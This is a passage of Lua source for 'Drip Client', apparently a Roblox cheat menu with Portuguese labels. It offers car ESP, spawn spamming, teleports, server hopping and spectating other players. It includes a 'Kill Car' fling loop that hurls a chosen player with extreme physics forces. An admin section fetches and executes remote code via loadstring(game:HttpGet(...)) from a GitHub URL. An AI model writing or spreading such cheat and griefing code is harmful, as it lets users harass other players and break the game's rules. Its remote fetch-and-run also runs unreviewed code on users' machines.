if vehicle:FindFirstChild("ESP") then
vehicle.ESP:Destroy()
end
end
end
end
Tabs.Carros:AddSection({Translator:traduzir("Drip Avançado")})
local Toggle = Tabs.Carros:AddToggle({Name = Translator:traduzir("Esp Carros"), Description = Translator:traduzir("Mostra Carros no mapa"), Default = false})
Toggle:Callback(function(value)
toggleESP(value)
end)
local carList = {
"SchoolBus", "SmartCar", "FarmTruck", "Cadillac", "Excavator",
"Jeep", "NascarTruck", "TowTruck", "Snowplow", "MilitaryTruck",
"Tank", "Limo", "FireTruck"
}
local spamCarsActive = false
local function spawnCar(carName)
local args = {
[1] = "PickingCar",
[2] = carName
}
game:GetService("ReplicatedStorage"):WaitForChild("RE"):WaitForChild("1Ca1r"):FireServer(unpack(args))
end
Tabs.Carros:AddToggle({
Name = Translator:traduzir("Codigo Varios Carros"),
Default = false,
Callback = function(value)
spamCarsActive = value
if spamCarsActive then
task.spawn(function()
while spamCarsActive do
for _, carName in ipairs(carList) do
if not spamCarsActive then break end
spawnCar(carName)
wait(0.4)
end
end
end)
end
end
})
Tabs.Carros:AddSection({Translator:traduzir("Seção Kill Car")})
local selectedPlayer = nil
local flingLoop = false
local viewLoop = false
local function FlingPlayer()
while flingLoop and selectedPlayer do
local Player = game.Players.LocalPlayer
local Character = Player.Character
local RootPart = Character and Character:FindFirstChild("HumanoidRootPart")
local Vehicles = game.Workspace:FindFirstChild("Vehicles")
local PCar = Vehicles and Vehicles:FindFirstChild(Player.Name.."Car")
if not PCar then
if RootPart then
RootPart.CFrame = CFrame.new(0, 100, 0)
task.wait(0.5)
game:GetService("ReplicatedStorage").RE:FindFirstChild("1Ca1r"):FireServer("PickingBoat", "MilitaryBoatFree")
task.wait(0.5)
PCar = Vehicles and Vehicles:FindFirstChild(Player.Name.."Car")
end
end
if PCar and selectedPlayer then
local targetCharacter = selectedPlayer.Character
local targetRoot = targetCharacter and targetCharacter:FindFirstChild("HumanoidRootPart")
if targetRoot then
PCar:SetPrimaryPartCFrame(targetRoot.CFrame * CFrame.new(0, 0, -5))
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.MaxForce = Vector3.new(1e9, 1e9, 1e9)
BodyVelocity.Velocity = Vector3.new(500, 200, 500)
BodyVelocity.Parent = PCar.PrimaryPart
local BodyAngularVelocity = Instance.new("BodyAngularVelocity")
BodyAngularVelocity.MaxTorque = Vector3.new(1e9, 1e9, 1e9)
BodyAngularVelocity.AngularVelocity = Vector3.new(0, 200, 0)
BodyAngularVelocity.Parent = PCar.PrimaryPart
task.wait(0.3)
BodyVelocity:Destroy()
BodyAngularVelocity:Destroy()
end
end
task.wait(0.05)
end
end
local function ViewPlayer()
local Player = game.Players.LocalPlayer
local Camera = workspace.CurrentCamera
while viewLoop and selectedPlayer do
local targetCharacter = selectedPlayer.Character
if targetCharacter then
local targetRoot = targetCharacter:FindFirstChild("HumanoidRootPart")
if targetRoot then
Camera.CameraSubject = targetRoot
end
end
task.wait(0.1)
end
if Player.Character then
Camera.CameraSubject = Player.Character:FindFirstChild("Humanoid")
end
end
local Players5 = Tabs.Carros:AddDropdown({
Name = Translator:traduzir("Escolha um jogador"),
Description = Translator:traduzir("Selecionar um jogador pra funcionar as funções"),
Options = {},
Default = "Players",
Callback = function(value)
selectedPlayer = game.Players:FindFirstChild(value)
end
})
local Button = Tabs.Carros:AddButton({Translator:traduzir("Atualizar"), function()
local novaTabela = {}
for i, v in pairs(game.Players:GetPlayers()) do
if v ~= game.Players.LocalPlayer then
table.insert(novaTabela, v.Name)
end
end
Players5:Set(novaTabela)
end})
local Button = Tabs.Carros:AddButton({Translator:traduzir("Parar Fling"), function()
flingLoop = false
end})
local Toggle = Tabs.Carros:AddToggle({Name = Translator:traduzir("Visualizar Jogador"),Description = Translator:traduzir("Olha jogador de longe qualquer lugar"),Default = false})
Toggle:Callback(function(value)
viewLoop = value
ViewPlayer()
end)
local Button = Tabs.Carros:AddButton({Translator:traduzir("Inícia Fling"), function()
if selectedPlayer then
flingLoop = true
FlingPlayer()
end
end})
end
--[[Tabs.PR:AddSection({"Mudanças de Tempos"})
local Night_Toggle = Tabs.PR:AddToggle({
Name = "Noite",
Description = "Muda Tempo pra noite",
Default = false
})
Night_Toggle:Callback(function(Value)
if Value then
game:GetService("Lighting").ClockTime = 0
else
game:GetService("Lighting").ClockTime = 14
end
end)
local Day_Toggle = Tabs.PR:AddToggle({
Name = "Dia",
Description = "Muda Tempo pra dia",
Default = false
})
Day_Toggle:Callback(function(Value)
if Value then
game:GetService("Lighting").ClockTime = 14
else
game:GetService("Lighting").ClockTime = 0
end
end)]]
-----------------///////TABS - Tp///////-----------------
do
local teleportButtons = {
{Nome = "Agência", Ponto = CFrame.new(179, 4, -464)},
{Nome = "Oficina Oculta", Ponto = CFrame.new(0, 4, -495)},
{Nome = "Bastidores", Ponto = CFrame.new(192, 4, 272)},
{Nome = "Centro Urbano", Ponto = CFrame.new(136, 4, 117)},
{Nome = "Área do Crime", Ponto = CFrame.new(-119, -28, 235)},
{Nome = "Casa Deserta", Ponto = CFrame.new(986, 4, 63)},
{Nome = "Arco", Ponto = CFrame.new(-589, 141, -59)},
{Nome = "Hospital", Ponto = CFrame.new(-309, 4, 71)},
{Nome = "Sala Secreta", Ponto = CFrame.new(-343, 4, -613)},
{Nome = "Ilha Isolada", Ponto = CFrame.new(-1925, 23, 127)},
{Nome = "Hotéis", Ponto = CFrame.new(182, 4, 150)},
{Nome = "Montanha", Ponto = CFrame.new(-670, 251, 765)},
{Nome = "Portal da Agência", Ponto = CFrame.new(672, 4, -296)},
{Nome = "Esconderijo", Ponto = CFrame.new(505, -75, 143)},
{Nome = "Escola", Ponto = CFrame.new(-312, 4, 211)},
{Nome = "Café", Ponto = CFrame.new(161, 8, 52)},
{Nome = "Cafeteria", Ponto = CFrame.new(-97.12, 4.65, 254.99)},
{Nome = "Início", Ponto = CFrame.new(-26, 4, -23)},
{Nome = "Banco", Ponto = CFrame.new(2.28, 4.65, 254.58)},
{Nome = "Roupas", Ponto = CFrame.new(-46.15, 4.65, 253.20)},
{Nome = "Refúgio", Ponto = CFrame.new(-88.48, 22.05, 262.34)},
{Nome = "Clínica Dentária", Ponto = CFrame.new(-53.58, 22.15, 265.61)},
}
local selectedTeleport = nil
local opcoesTeleporte = {}
for _, entry in ipairs(teleportButtons) do
table.insert(opcoesTeleporte, entry.Nome)
end
local Dropdown = Tabs.Tp:AddDropdown({
Name = Translator:traduzir("Local de Teleporte"),
Description = Translator:traduzir("Escolha um destino para teleportar"),
Options = opcoesTeleporte,
Default = "Local",
Callback = function(nomeSelecionado)
for _, entry in ipairs(teleportButtons) do
if entry.Nome == nomeSelecionado then
selectedTeleport = entry
break
end
end
end
})
Tabs.Tp:AddButton({
Name = Translator:traduzir("Teleportar"),
Description = Translator:traduzir("Teleporta para o local selecionado"),
Callback = function()
local plr = game.Players.LocalPlayer
if not plr.Character or not plr.Character:FindFirstChild("HumanoidRootPart") then
warn("Personagem não encontrado!")
return
end
if not selectedTeleport then
warn("Nenhum local selecionado!")
return
end
plr.Character.HumanoidRootPart.CFrame = selectedTeleport.Ponto
print("Teleportado para: " .. selectedTeleport.Nome)
end
})
-- Seleciona o primeiro local por padrão
if #opcoesTeleporte > 0 then
for _, entry in ipairs(teleportButtons) do
if entry.Nome == opcoesTeleporte[1] then
selectedTeleport = entry
break
end
end
end
Tabs.Tp:AddSection({Translator:traduzir("Teleportes Variados")})
local Button = Tabs.Tp:AddButton({Translator:traduzir("Servidor Com Pouca Pessoas"), function()
Hop()
end})
function Hop()
local PlaceID = game.PlaceId
local AllIDs = {}
local foundAnything = ""
local actualHour = os.date("!*t").hour
local Deleted = false
function TPReturner()
local Site;
if foundAnything == "" then
Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100'))
else
Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100&cursor=' .. foundAnything))
end
local ID = ""
if Site.nextPageCursor and Site.nextPageCursor ~= "null" and Site.nextPageCursor ~= nil then
foundAnything = Site.nextPageCursor
end
local num = 0;
for i,v in pairs(Site.data) do
local Possible = true
ID = tostring(v.id)
if tonumber(v.maxPlayers) > tonumber(v.playing) then
for _,Existing in pairs(AllIDs) do
if num ~= 0 then
if ID == tostring(Existing) then
Possible = false
end
else
if tonumber(actualHour) ~= tonumber(Existing) then
local delFile = pcall(function()
-- delfile("NotSameServers.json")
AllIDs = {}
table.insert(AllIDs, actualHour)
end)
end
end
num = num + 1
end
if Possible == true then
table.insert(AllIDs, ID)
wait(.1)
pcall(function()
-- writefile("NotSameServers.json", game:GetService('HttpService'):JSONEncode(AllIDs))
wait()
game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceID, ID, game.Players.LocalPlayer)
end)
wait(.1)
end
end
end
end
function Teleport()
while wait(.1) do
pcall(function()
TPReturner()
if foundAnything ~= "" then
TPReturner()
end
end)
end
end
Teleport()
end
local Button = Tabs.Tp:AddButton({Translator:traduzir("Servidor inferior"), function()
local maxplayers, gamelink, goodserver, data_table = math.huge, "https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100"
if not _G.FailedServerID then _G.FailedServerID = {} end
local function serversearch()
data_table = game:GetService"HttpService":JSONDecode(game:HttpGetAsync(gamelink))
for _, v in pairs(data_table.data) do
pcall(function()
if type(v) == "table" and v.id and v.playing and tonumber(maxplayers) > tonumber(v.playing) and not table.find(_G.FailedServerID, v.id) then
maxplayers = v.playing
goodserver = v.id
end
end)
end
end
function getservers()
pcall(serversearch)
for i, v in pairs(data_table) do
if i == "nextPageCursor" then
if gamelink:find"&cursor=" then
local a = gamelink:find"&cursor="
local b = gamelink:sub(a)
gamelink = gamelink:gsub(b, "")
end
gamelink = gamelink .. "&cursor=" .. v
pcall(getservers)
end
end
end
pcall(getservers)
wait(.1)
if goodserver == game.JobId or maxplayers == #game:GetService"Players":GetChildren() - 1 then
end
table.insert(_G.FailedServerID, goodserver)
game:GetService"TeleportService":TeleportToPlaceInstance(game.PlaceId, goodserver)
while wait(.1) do
pcall(function()
if not game:IsLoaded() then
game.Loaded:Wait()
end
game.CoreGui.RobloxPromptGui.promptOverlay.DescendantAdded:Connect(function()
local GUI = game.CoreGui.RobloxPromptGui.promptOverlay:FindFirstChild("ErrorPrompt")
if GUI then
if GUI.TitleFrame.ErrorTitle.Text == "Disconnected" then
if #game.Players:GetPlayers() <= 1 then
game.Players.LocalPlayer:Kick("\nRejoining...")
wait(.1)
game:GetService("TeleportService"):Teleport(game.PlaceId, game.Players.LocalPlayer)
else
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, game.Players.LocalPlayer)
end
end
end
end)
end)
end
end})
local Button = Tabs.Tp:AddButton({Translator:traduzir("Reentra No Servidor"), function()
game:GetService("TeleportService"):Teleport(game.PlaceId, game:GetService("Players").LocalPlayer)
end})
end
-----------------///////TABS - CFG///////----------------
Tabs.CFG:AddSection({Translator:traduzir("Sistema De Variações")})
local antiSitConnections = {}
local isAntiSitActive = false
Tabs.CFG:AddToggle({
Name = Translator:traduzir("Anti Sit"),
Description = Translator:traduzir("Não Sentar"),
Default = false,
Callback = function(Value)
local player = game.Players.LocalPlayer
local runService = game:GetService("RunService")
local function resetSitting()
for _, connection in ipairs(antiSitConnections) do
if connection and connection.Connected then
connection:Disconnect()
end
end
antiSitConnections = {}
local humanoid = player.Character and player.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
end
isAntiSitActive = false
end
if Value then
resetSitting()
isAntiSitActive = true
local function preventSitting(humanoid)
if humanoid then
humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
local sitConnection = humanoid.StateChanged:Connect(function(_, newState)
if newState == Enum.HumanoidStateType.Seated then
humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
end
end)
table.insert(antiSitConnections, sitConnection)
end
end
local function onCharacterAdded(character)
local humanoid = character:WaitForChild("Humanoid")
preventSitting(humanoid)
end
local characterAddedConnection = player.CharacterAdded:Connect(onCharacterAdded)
table.insert(antiSitConnections, characterAddedConnection)
if player.Character then
onCharacterAdded(player.Character)
end
local heartbeatConnection = runService.Heartbeat:Connect(function()
if isAntiSitActive then
local humanoid = player.Character and player.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
end
end
end)
table.insert(antiSitConnections, heartbeatConnection)
else
resetSitting()
end
end
})
Tabs.CFG:AddToggle({Name = Translator:traduzir("Clube Brooks"), Description = Translator:traduzir("Sistema de webhook do clube!"), Default = true})
Tabs.CFG:AddToggle({Name = Translator:traduzir("Anti Skidder"), Description = Translator:traduzir("Anti Skid > Open Source [ Discord ]"), Default = true})
Tabs.CFG:AddSection({Translator:traduzir("Desenvolvedores")})
local function createBillboard(playerName, displayText, guiName)
local target = workspace:FindFirstChild(playerName)
if not target then return end
local head = target:FindFirstChild("Head")
if not head or head:FindFirstChild(guiName) then return end
local billboard = Instance.new("BillboardGui")
billboard.Name = guiName
billboard.Adornee = head
billboard.Size = UDim2.new(0, 100, 0, 60)
billboard.StudsOffset = Vector3.new(0, 2.5, 0)
billboard.AlwaysOnTop = true
billboard.MaxDistance = 80
billboard.Parent = head
local textBackground = Instance.new("Frame", billboard)
textBackground.Name = "TextBG"
textBackground.Size = UDim2.new(1, 0, 0.5, 0)
textBackground.Position = UDim2.new(0, 0, 0.5, 0)
textBackground.BackgroundColor3 = Color3.fromRGB(128, 0, 255)
textBackground.BackgroundTransparency = 0.3
textBackground.BorderSizePixel = 2
textBackground.BorderColor3 = Color3.new(0, 0, 0)
local corner = Instance.new("UICorner", textBackground)
corner.CornerRadius = UDim.new(0, 10)
local label = Instance.new("TextLabel", textBackground)
label.Size = UDim2.new(1, 0, 1, 0)
label.BackgroundTransparency = 1
label.Text = displayText
label.TextColor3 = Color3.new(1, 1, 1)
label.TextScaled = true
label.Font = Enum.Font.GothamBold
local image = Instance.new("ImageLabel", billboard)
image.Size = UDim2.new(0, 40, 0, 40)
image.Position = UDim2.new(0.5, -20, 0, 0)
image.BackgroundTransparency = 1
image.Image = "rbxassetid://72495850369898"
end
local runningLoops = {}
local function startGuiWatcher(playerName, displayText, guiName)
if runningLoops[guiName] then return end
runningLoops[guiName] = true
task.spawn(function()
while runningLoops[guiName] do
createBillboard(playerName, displayText, guiName)
task.wait(1)
end
end)
end
local function stopGuiWatcher(guiName)
runningLoops[guiName] = nil
local target = workspace:FindFirstChild(guiName == "ModGuiMod" and "scout7ixs" or "magnusfxp")
if target and target:FindFirstChild("Head") then
local gui = target.Head:FindFirstChild(guiName)
if gui then gui:Destroy() end
end
end
local function startMultipleGuiWatchers(playerNames, displayText, guiBaseName)
for i, playerName in ipairs(playerNames) do
local uniqueGuiName = guiBaseName .. "_" .. playerName
startGuiWatcher(playerName, displayText, uniqueGuiName)
end
end
local function stopMultipleGuiWatchers(playerNames, guiBaseName)
for i, playerName in ipairs(playerNames) do
local uniqueGuiName = guiBaseName .. "_" .. playerName
runningLoops[uniqueGuiName] = nil
local target = workspace:FindFirstChild(playerName)
if target and target:FindFirstChild("Head") then
local gui = target.Head:FindFirstChild(uniqueGuiName)
if gui then gui:Destroy() end
end
end
end
Tabs.CFG:AddToggle({
Name = Translator:traduzir("Dev Script"),
Description = Translator:traduzir("Mostra o Moderador do script no servidor"),
Default = true,
Callback = function(Value)
if Value then
startGuiWatcher("scout7ixs", "Developer", "ModGuiMod")
else
stopGuiWatcher("ModGuiMod")
end
end
})
Tabs.CFG:AddToggle({
Name = Translator:traduzir("Owner Script"),
Description = Translator:traduzir("Mostra o Dono do script no servidor"),
Default = true,
Callback = function(Value)
if Value then
startGuiWatcher("magnusfxp", "Owner", "ModGuiOwner")
else
stopGuiWatcher("ModGuiOwner")
end
end
})
local staffMembers = {
"MiguelReiDelas018",
"Roblox_Anthex",
"RUANRODRIGO121121",
"gbugado20",
}
Tabs.CFG:AddToggle({
Name = Translator:traduzir("Modder Script"),
Description = Translator:traduzir("Mostra os Staffs do servidor"),
Default = true,
Callback = function(Value)
if Value then
startMultipleGuiWatchers(staffMembers, "Moderador", "ModGuiStaff")
else
stopMultipleGuiWatchers(staffMembers, "ModGuiStaff")
end
end
})
print([[
=====================================================
| Drip client |
=====================================================
| API Status: Online |
| Script Name: Drip Client |
| API Drip: Online |
| Version: 4.0.2 |
=====================================================
]])
-----------------///////TABS - Admin///////----------------
wait(0.1)
do
--[[local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local UserInputService = game:GetService("UserInputService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local TextChatService = game:GetService("TextChatService")
local RunService = game:GetService("RunService")]]
local LocalPlayer = Players.LocalPlayer
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
getgenv().ScriptID = "DRIPCLIENTADM"
local HttpService = game:GetService("HttpService")
local permissionURL = "https://raw.githubusercontent.com/dripsolutions/applications/refs/heads/main/Solutions.lua"
local success, result = pcall(function()
return loadstring(game:HttpGet(permissionURL))()
end)
if not success or type(result) ~= "table" then
warn("droga")
return
end
allowedUsers = result
local player = Players.LocalPlayer
local isAuthorized = allowedUsers[player.Name] ~= nil
redzlib:Notify({
Title = "loading",
Description = "drip client",
Type = "Success",
Duration = 4
})
local selectedPlayer = nil
local Jajail = {}
local MagGelion = {}
local ObEsp = {}
local function sendChatCommand(command)
if not command then return end
task.wait(0.1)
local success = false
if TextChatService and TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
local channel = TextChatService:FindFirstChild("TextChannels")
if channel then
local generalChannel = channel:FindFirstChild("RBXGeneral")
if generalChannel then
local ok = pcall(function()
generalChannel:SendAsync(command)
end)
if ok then
success = true
end
end
end
end
if not success then
local defaultChatSystemChatEvents = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
if defaultChatSystemChatEvents then
local sayMessageRequest = defaultChatSystemChatEvents:FindFirstChild("SayMessageRequest")
if sayMessageRequest then
pcall(function()
sayMessageRequest:FireServer(command, "All")
success = true
end)
end
end
end
if not success and game:GetService("Chat") then
pcall(function()
game:GetService("Chat"):Chat(LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Head"), command)
success = true
end)
end
if success then
redzlib:Notify({
Title = "Tentando",
Description = "Working",
Type = "Success",
Duration = 4
})
--[[game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Comando Enviado",
Text = command,
Duration = 2
})]]
else
redzlib:Notify({
Title = "erro loaded",
Description = "falha ao enviar: " .. command,
Type = "erro",
Duration = 4
})
--[[game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Erro",
Text = "Falha ao enviar: " .. command,
Duration = 3
})]]
end
end
local function createInterface()
if not isAuthorized then return end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "AdminPanel"
screenGui.Parent = PlayerGui
screenGui.ResetOnSpawn = false
local mainFrame = Instance.new("Frame")
mainFrame.Name = "MainFrame"
mainFrame.Size = UDim2.new(0, 520, 0, 420)
mainFrame.Position = UDim2.new(0.5, -260, 0.5, -210)
mainFrame.BackgroundColor3 = Color3.fromRGB(75, 0, 130)
mainFrame.BackgroundTransparency = 0.2
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = screenGui
mainFrame.ClipsDescendants = true
local mainCorner = Instance.new("UICorner")
mainCorner.CornerRadius = UDim.new(0, 12)
mainCorner.Parent = mainFrame
local mainStroke = Instance.new("UIStroke")
mainStroke.Color = Color3.fromRGB(0, 0, 0)
mainStroke.Thickness = 2
mainStroke.Parent = mainFrame
local titleLabel = Instance.new("TextLabel")
titleLabel.Name = "Title"
titleLabel.Size = UDim2.new(1, 0, 0, 45)
titleLabel.Position = UDim2.new(0, 0, 0, 0)
titleLabel.BackgroundColor3 = Color3.fromRGB(55, 25, 110)
titleLabel.BorderSizePixel = 0
titleLabel.Text = "Drip Solutions Admin"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 16
titleLabel.Font = Enum.Font.GothamBold
titleLabel.Parent = mainFrame
local titleCorner = Instance.new("UICorner")
titleCorner.CornerRadius = UDim.new(0, 12)
titleCorner.Parent = titleLabel
local titleStroke = Instance.new("UIStroke")
titleStroke.Color = Color3.fromRGB(0, 0, 0)
titleStroke.Thickness = 1
titleStroke.Parent = titleLabel
local contentFrame = Instance.new("Frame")
contentFrame.Name = "ContentFrame"
contentFrame.Size = UDim2.new(1, -20, 1, -75)
contentFrame.Position = UDim2.new(0, 10, 0, 65)
contentFrame.BackgroundTransparency = 1
contentFrame.Parent = mainFrame
contentFrame.ClipsDescendants = true
local scrollFrame = Instance.new("ScrollingFrame")
scrollFrame.Name = "ScrollFrame"
scrollFrame.Size = UDim2.new(1, 0, 1, 0)
scrollFrame.Position = UDim2.new(0, 0, 0, 0)
scrollFrame.BackgroundTransparency = 1
scrollFrame.BorderSizePixel = 0
scrollFrame.ScrollBarThickness = 4
scrollFrame.ScrollBarImageColor3 = Color3.fromRGB(100, 100, 100)
scrollFrame.Parent = contentFrame
local layout = Instance.new("UIListLayout")
layout.SortOrder = Enum.SortOrder.LayoutOrder
layout.Padding = UDim.new(0, 6)
layout.Parent = scrollFrame
return screenGui, mainFrame, scrollFrame, layout
end
local function createButton(parent, text, callback)
local button = Instance.new("TextButton")
button.Name = text:gsub(" ", "")
button.Size = UDim2.new(1, 0, 0, 32)
button.BackgroundColor3 = Color3.fromRGB(90, 45, 180)
button.BackgroundTransparency = 0.2
button.BorderSizePixel = 0
button.Text = text
button.TextColor3 = Color3.new(1, 1, 1)
button.TextSize = 15
button.Font = Enum.Font.FredokaOne
button.Parent = parent
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 6)
corner.Parent = button
local buttonStroke = Instance.new("UIStroke")
buttonStroke.Color = Color3.fromRGB(0, 0, 0)
buttonStroke.Thickness = 1
buttonStroke.Parent = button
button.MouseEnter:Connect(function()
TweenService:Create(button, TweenInfo.new(0.2), {
BackgroundTransparency = 0.05
}):Play()
end)
button.MouseLeave:Connect(function()
TweenService:Create(button, TweenInfo.new(0.2), {
BackgroundTransparency = 0.2
}):Play()
end)
button.MouseButton1Click:Connect(function()
button.Active = false
callback()
task.wait(0.5)
button.Active = true
end)
return button
end
local function createDropdown(parent, text, options, callback)
local frame = Instance.new("Frame")
frame.Name = text:gsub(" ", ""):gsub("[^%w]", "")
frame.Size = UDim2.new(1, 0, 0, 32)
frame.BackgroundColor3 = Color3.fromRGB(70, 35, 140)
frame.BackgroundTransparency = 0.2
frame.BorderSizePixel = 0
frame.Parent = parent
frame.ZIndex = 10
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 6)
corner.Parent = frame
local frameStroke = Instance.new("UIStroke")
frameStroke.Color = Color3.fromRGB(0, 0, 0)
frameStroke.Thickness = 1
frameStroke.Parent = frame
local button = Instance.new("TextButton")
button.Size = UDim2.new(1, 0, 1, 0)
button.BackgroundTransparency = 1
button.Text = text
button.TextColor3 = Color3.new(1, 1, 1)
button.TextSize = 14
button.Font = Enum.Font.Gotham
button.Parent = frame
button.ZIndex = 11
local dropdown = Instance.new("Frame")
dropdown.Name = "Dropdown"
dropdown.Size = UDim2.new(1, 0, 0, 0)
dropdown.Position = UDim2.new(0, 0, 1, 2)
dropdown.BackgroundColor3 = Color3.fromRGB(50, 25, 100)
dropdown.BorderSizePixel = 0
dropdown.Visible = false
dropdown.Parent = frame
dropdown.ZIndex = 15
local dropCorner = Instance.new("UICorner")
dropCorner.CornerRadius = UDim.new(0, 6)
dropCorner.Parent = dropdown
local dropStroke = Instance.new("UIStroke")
dropStroke.Color = Color3.fromRGB(0, 0, 0)
dropStroke.Thickness = 1
dropStroke.Parent = dropdown
local dropScroll = Instance.new("ScrollingFrame")
dropScroll.Size = UDim2.new(1, 0, 1, 0)
dropScroll.BackgroundTransparency = 1
dropScroll.BorderSizePixel = 0
dropScroll.ScrollBarThickness = 3
dropScroll.ScrollBarImageColor3 = Color3.fromRGB(150, 150, 150)
dropScroll.Parent = dropdown
dropScroll.ZIndex = 16
local dropLayout = Instance.new("UIListLayout")
dropLayout.SortOrder = Enum.SortOrder.LayoutOrder
dropLayout.Parent = dropScroll
local function updateOptions(newOptions)
if not newOptions or #newOptions == 0 then
dropdown.Size = UDim2.new(1, 0, 0, 0)
return
end
for _, child in ipairs(dropScroll:GetChildren()) do
if child ~= dropLayout then
child:Destroy()
end
end
local optionNames = {}
if type(newOptions[1]) == "table" then
for _, option in ipairs(newOptions) do
table.insert(optionNames, option.Name)
end
else
optionNames = newOptions
end
for i, optionName in ipairs(optionNames) do
if optionName and type(optionName) == "string" then
local optionButton = Instance.new("TextButton")
optionButton.Size = UDim2.new(1, 0, 0, 28)
optionButton.BackgroundTransparency = 1
optionButton.Text = optionName
optionButton.TextColor3 = Color3.new(1, 1, 1)
optionButton.TextSize = 13
optionButton.Font = Enum.Font.Gotham
optionButton.Parent = dropScroll
optionButton.ZIndex = 17
optionButton.MouseEnter:Connect(function()
optionButton.BackgroundTransparency = 0.7
optionButton.BackgroundColor3 = Color3.fromRGB(80, 40, 160)
end)
optionButton.MouseLeave:Connect(function()
optionButton.BackgroundTransparency = 1
end)
optionButton.MouseButton1Click:Connect(function()
button.Text = optionName
dropdown.Visible = false
if type(newOptions[1]) == "table" then
callback(newOptions[i])
else
callback(optionName)
end
end)
end
end
local contentSize = math.min(#optionNames * 28, 140)
dropdown.Size = UDim2.new(1, 0, 0, contentSize)
dropScroll.CanvasSize = UDim2.new(0, 0, 0, #optionNames * 28)
end
local dropdownObject = {
Frame = frame,
Button = button,
UpdateOptions = updateOptions
}
pcall(function()
updateOptions(options)
end)
button.MouseButton1Click:Connect(function()
for _, child in ipairs(parent:GetChildren()) do
if child:FindFirstChild("Dropdown") and child ~= frame then
child.Dropdown.Visible = false
end
end
dropdown.Visible = not dropdown.Visible
end)
return dropdownObject
end
local function createPlayerDropdown(parent, text, callback)
local dropdown = createDropdown(parent, text, {}, callback)
local function refreshPlayers()
local playerList = {}
for _, plr in ipairs(Players:GetPlayers()) do
if plr ~= Players.LocalPlayer then
table.insert(playerList, plr.Name)
end
end
dropdown.UpdateOptions(playerList)
end
Players.PlayerAdded:Connect(refreshPlayers)
Players.PlayerRemoving:Connect(refreshPlayers)
refreshPlayers()
return dropdown
end
local function createToggle(parent, text, callback)
local frame = Instance.new("Frame")
frame.Name = text:gsub(" ", "")
frame.Size = UDim2.new(1, 0, 0, 32)
frame.BackgroundColor3 = Color3.fromRGB(70, 35, 140)
frame.BackgroundTransparency = 0.2
frame.BorderSizePixel = 0
frame.Parent = parent
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 6)
corner.Parent = frame
local frameStroke = Instance.new("UIStroke")
frameStroke.Color = Color3.fromRGB(0, 0, 0)
frameStroke.Thickness = 1
frameStroke.Parent = frame
local label = Instance.new("TextLabel")
label.Size = UDim2.new(0.65, 0, 1, 0)
label.Position = UDim2.new(0, 8, 0, 0)
label.BackgroundTransparency = 1
label.Text = text
label.TextColor3 = Color3.new(1, 1, 1)
label.TextSize = 14
label.Font = Enum.Font.Gotham
label.TextXAlignment = Enum.TextXAlignment.Left
label.Parent = frame
local toggleTrack = Instance.new("Frame")
toggleTrack.Size = UDim2.new(0, 50, 0, 22)
toggleTrack.Position = UDim2.new(1, -55, 0.5, -11)
toggleTrack.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
toggleTrack.BorderSizePixel = 0
toggleTrack.Parent = frame
local trackCorner = Instance.new("UICorner")
trackCorner.CornerRadius = UDim.new(0, 11)
trackCorner.Parent = toggleTrack
local trackStroke = Instance.new("UIStroke")
trackStroke.Color = Color3.fromRGB(139, 69, 19)
trackStroke.Thickness = 1
trackStroke.Parent = toggleTrack
local toggleBall = Instance.new("Frame")
toggleBall.Size = UDim2.new(0, 18, 0, 18)
toggleBall.Position = UDim2.new(0, 2, 0.5, -9)
toggleBall.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
toggleBall.BorderSizePixel = 0
toggleBall.Parent = toggleTrack
local ballCorner = Instance.new("UICorner")
ballCorner.CornerRadius = UDim.new(0, 9)
ballCorner.Parent = toggleBall
local ballStroke = Instance.new("UIStroke")
ballStroke.Color = Color3.fromRGB(139, 69, 19)
ballStroke.Thickness = 1
ballStroke.Parent = toggleBall
local toggleButton = Instance.new("TextButton")
toggleButton.Size = UDim2.new(1, 0, 1, 0)
toggleButton.BackgroundTransparency = 1
toggleButton.Text = ""
toggleButton.Parent = toggleTrack
local isOn = false
local function updateToggle()
local targetPosition = isOn and UDim2.new(0, 30, 0.5, -9) or UDim2.new(0, 2, 0.5, -9)
local targetColor = isOn and Color3.fromRGB(50, 200, 50) or Color3.fromRGB(60, 60, 60)
TweenService:Create(toggleBall, TweenInfo.new(0.2, Enum.EasingStyle.Quad), {
Position = targetPosition
}):Play()
TweenService:Create(toggleTrack, TweenInfo.new(0.2, Enum.EasingStyle.Quad), {
BackgroundColor3 = targetColor
}):Play()
end
toggleButton.MouseButton1Click:Connect(function()
isOn = not isOn
updateToggle()
callback(isOn)
end)
return frame, toggleButton
end
local function createSection(parent, text)
local section = Instance.new("TextLabel")
section.Name = text:gsub(" ", "")
section.Size = UDim2.new(1, 0, 0, 20)
section.BackgroundColor3 = Color3.fromRGB(45, 22, 90)
section.BackgroundTransparency = 0.3
section.BorderSizePixel = 0
section.Text = " " .. text
